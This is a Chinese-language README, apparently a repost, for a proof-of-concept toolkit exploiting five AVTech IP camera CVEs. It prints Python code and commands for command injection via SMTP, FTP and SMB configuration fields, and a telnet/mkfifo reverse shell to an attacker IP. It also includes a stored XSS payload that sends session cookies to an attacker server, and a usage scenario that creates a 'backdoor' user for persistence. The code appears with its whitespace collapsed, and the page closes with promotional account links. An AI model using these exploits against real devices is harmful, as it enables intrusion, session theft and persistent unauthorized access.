项目标题与描述
AVTech PoCs是一个专门针对AVTech IP摄像机中多个已发现漏洞的概念验证(Proof of Concept)工具集合。该项目实现了对CVE-2025-57199、CVE-2025-57200、CVE-2025-57201、CVE-2025-57202和CVE-2025-57203的利用,通过自动化脚本演示了这些安全漏洞的实际危害。
核心价值在于为安全研究人员和渗透测试人员提供了一套完整的测试工具,用于验证AVTech IP摄像机的安全性,提高对物联网设备安全威胁的认识。
功能特性
- 多漏洞支持:完整覆盖CVE-2025-57199至CVE-2025-57203五个关键漏洞
- 多种攻击向量:
- SMTP配置命令注入(CVE-2025-57199)
- FTP配置命令注入(CVE-2025-57200)
- SMB配置命令注入(CVE-2025-57201)
- 网络故障检测命令注入(CVE-2025-57202)
- 存储型XSS攻击(CVE-2025-57203)
- 灵活的攻击方式:
- 直接命令执行
- 反向Shell获取
- XSS会话劫持
- 自动化利用流程:自动登录、配置获取、参数污染、功能触发
- 详细的调试输出:JSON格式的配置信息展示,便于分析和调试
安装指南
系统要求
- Python 3.6+
- 支持的网络环境(可访问目标设备)
- Linux/macOS/Windows操作系统
依赖安装
# 安装必要的Python依赖pipinstallrequests# 克隆项目gitclone<repository-url>cdavtech-pocs环境配置
无需特殊配置,确保Python环境正确设置即可。
平台注意事项
- 所有脚本基于标准Python库,跨平台兼容
- 网络连接需要能够访问目标设备的Web管理端口(默认88)
- 反向Shell功能需要在攻击机上启动监听服务
使用说明
基础使用示例
1. SMTP命令注入攻击
python exploit_smtp.py --target-ip192.168.1.100--usernameadmin--passwordadmin--command"id"2. FTP命令注入攻击
python exploit_ftp.py --target-ip192.168.1.100--usernameadmin--passwordadmin--command"uname -a"3. 获取反向Shell
# 在攻击机上启动监听nc-lvp4444# 执行反向Shell攻击python exploit_smtp.py --target-ip192.168.1.100--usernameadmin--passwordadmin --attacker-ip192.168.1.50 --attacker-port4444--reverse-shell4. XSS会话窃取
# 在攻击机上启动HTTP服务监听python-mhttp.server8080# 执行XSS攻击python exploit_xss.py --target-ip192.168.1.100--usernameadmin--passwordadmin --attacker-ip192.168.1.50 --attacker-port8080典型使用场景
场景1:安全评估验证
# 验证设备是否存在SMTP注入漏洞python exploit_smtp.py-t192.168.1.100-Uadmin-Padmin-c"echo 'Vulnerable!' > /tmp/test.txt"场景2:权限维持
# 通过SMB配置注入创建后门用户python exploit_smb.py-t192.168.1.100-c"useradd -r -s /bin/bash backdoor"场景3:横向移动
# 使用XSS窃取管理员cookie,实现权限提升python exploit_xss.py --target-ip192.168.1.100 --attacker-ip10.0.0.5 --attacker-port9000API概览
项目核心是DGM1104类,提供以下主要方法:
login(username, password): 设备认证get_ftp_fields(): 获取FTP配置get_smtp_fields(): 获取SMTP配置get_smb_fields(): 获取SMB配置get_network_failure_fields(): 获取网络故障检测配置set_config_fields(config_values): 设置配置参数execute_ftp_test(): 触发FTP测试execute_smtp_test(): 触发SMTP测试add_user(username, password): 添加用户(用于XSS攻击)
核心代码
1. 主设备交互类(dgm1104.py)
importrandomfrombase64importb64encodefromcopyimportdeepcopyfromrequestsimportReadTimeout,Session,ResponsefromtypingimportDict,List,Optionalfromurllib.parseimportquoteimportloggingclassDGM1104:CONFIG_PATH:str="/cgi-bin/user/Config.cgi"PWDGRP_PATH:str="/cgi-bin/supervisor/PwdGrp.cgi"def__init__(self,hostname:str,port:int=88,https:bool=False)->None:self.session=Session()protocol:str='https'ifhttpselse'http'self.base_url:str=f'{protocol}://{hostname}:{port}'deflogin(self,username:str,password:str)->bool:"""设备登录认证 Args: username: 用户名 password: 密码 Returns: 登录是否成功 """account_string:str=f"{username}:{password}"account_string_b64:str=b64encode(account_string.encode()).decode()random_float:float=random.random()verify_path:str=f"/cgi-bin/nobody/VerifyCode.cgi?account={account_string_b64}&rnd={random_float}"url:str=self.base_url+verify_path response:Response=self.session.get(url)login_successful:bool=(response.status_code==200andlen(self.session.cookies)>=1)returnlogin_successfuldefget_config_category(self,category:str="Network.FTP")->Optional[Dict[str,str]]:"""获取指定配置类别的所有字段 Args: category: 配置类别路径 Returns: 配置字典或None(失败时) """url:str=self.base_url+self.CONFIG_PATH data:Dict[str,str]={"action":"get","category":f"{category}.*"}try:response:Response=self.session.post(url=url,data=data)response_lines:List[str]=response.text.split('\n')[2:]iflen(response_lines)<=2:returnNoneconfig_values:Dict[str,str]={}forlineinresponse_lines:first_equals_index=line.find('=')iffirst_equals_index==-1:continuekey:str=line[:first_equals_index]value:str=line[first_equals_index+1:]config_values[key]=valuereturnconfig_valuesexceptExceptionase:logging.error(f"Failed to get config category{category}:{e}")returnNone2. SMTP命令注入利用脚本(exploit_smtp.py)
importargparseimportjsonimportloggingimportsysfromcopyimportdeepcopyfromtypingimportDict,Optionalfromdgm1104importDGM1104 EXIT_FAILURE:int=1EXIT_SUCCESS:int=0defexploit(target_ip:str,target_port:int,username:str,password:str,command:str,)->bool:"""执行SMTP配置命令注入攻击 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 command: 要执行的命令 Returns: 攻击是否成功 """# 初始化设备连接device:DGM1104=DGM1104(hostname=target_ip,port=target_port,)# 登录设备logged_in:bool=device.login(username=username,password=password,)ifnotlogged_in:logging.error("[!] Failed to log into device.")returnFalselogging.info("[+] Logged into device successfully.")# 获取原始SMTP配置original_smtp_fields:Optional[Dict[str,str]]=device.get_smtp_fields()iforiginal_smtp_fieldsisNone:logging.error("[!] Failed to get original SMTP fields")returnFalse# 打印原始配置(调试信息)original_smtp_fields_json_str:str=json.dumps(original_smtp_fields,indent=4,)logging.debug("[+] Retrieved Original SMTP Fields:\n"+original_smtp_fields_json_str)# 构造恶意配置(命令注入)new_smtp_fields:Dict[str,str]=deepcopy(original_smtp_fields)new_smtp_fields["Network.SMTP.Sender"]=f"`{command}`"# 设置恶意配置smtp_fields_set:bool=device.set_config_fields(config_values=new_smtp_fields,)ifnotsmtp_fields_set:logging.error("[!] Failed to set SMTP fields")returnFalselogging.debug("[+] Set SMTP sender field with poisoned value.")# 触发SMTP测试,执行命令smtp_test_executed:bool=device.execute_smtp_test()ifnotsmtp_test_executed:logging.error("[!] Failed to execute SMTP test.")returnFalselogging.info("[+] Command Executed!")returnTruedefreverse_shell(target_ip:str,target_port:int,username:str,password:str,attacker_ip:str,attacker_port:int,)->bool:"""建立反向Shell连接 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 attacker_ip: 攻击者IP attacker_port: 攻击者监听端口 Returns: 反向Shell是否成功建立 """# 构造反向Shell命令reverse_shell_command:str=("TF=$(mktemp -u);mkfifo $TF && telnet "+attacker_ip+" "+str(attacker_port)+" 0<$TF | sh 1>$TF")# 使用SMTP注入执行反向Shell命令returnexploit(target_ip=target_ip,target_port=target_port,username=username,password=password,command=reverse_shell_command,)3. XSS攻击利用脚本(exploit_xss.py)
importargparseimportsysfromtypingimportOptionalfromdgm1104importDGM1104 EXIT_FAILURE:int=1EXIT_SUCCESS:int=0# 默认XSS Payload:简单的JavaScript弹窗DEFAULT_PAYLOAD:str='<img src=x onerror="print()" />'defexploit(target_ip:str,target_port:int,username:str,password:str,payload:str,)->bool:"""执行存储型XSS攻击 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 payload: XSS攻击载荷 Returns: 攻击是否成功 """# 初始化设备连接device:DGM1104=DGM1104(hostname=target_ip,port=target_port,)# 登录设备logged_in:bool=device.login(username=username,password=password,)ifnotlogged_in:print("[!] Failed to log into device.")returnFalseprint("[+] Logged into device successfully.")# 添加恶意用户(用户名为XSS Payload)user_added:bool=device.add_user(username=payload,password="password")ifnotuser_added:print("[!] Failed to add user!")returnFalseprint(f"[+] Set created a user account with{payload}payload as username.")print(f"[*] Either visit the accounts page to trigger the payload, or wait for another user to.")returnTruedefgenerate_xss_cookie_payload(ip:str,port:str)->str:"""生成Cookie窃取XSS Payload Args: ip: 攻击者服务器IP port: 攻击者服务器端口 Returns: 构造好的XSS Payload """returnf"""<img src=x onerror="this.src='http://{ip}:{port}/?'+document.cookie; this.removeAttribute('onerror');">"""这些核心代码展示了项目的技术实现细节,包括设备交互、漏洞利用逻辑和攻击载荷构造。代码结构清晰,注释详细,便于安全研究人员理解和修改。
6HFtX5dABrKlqXeO5PUv//BvmoPhYvgx1TRcZLWgRyY=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)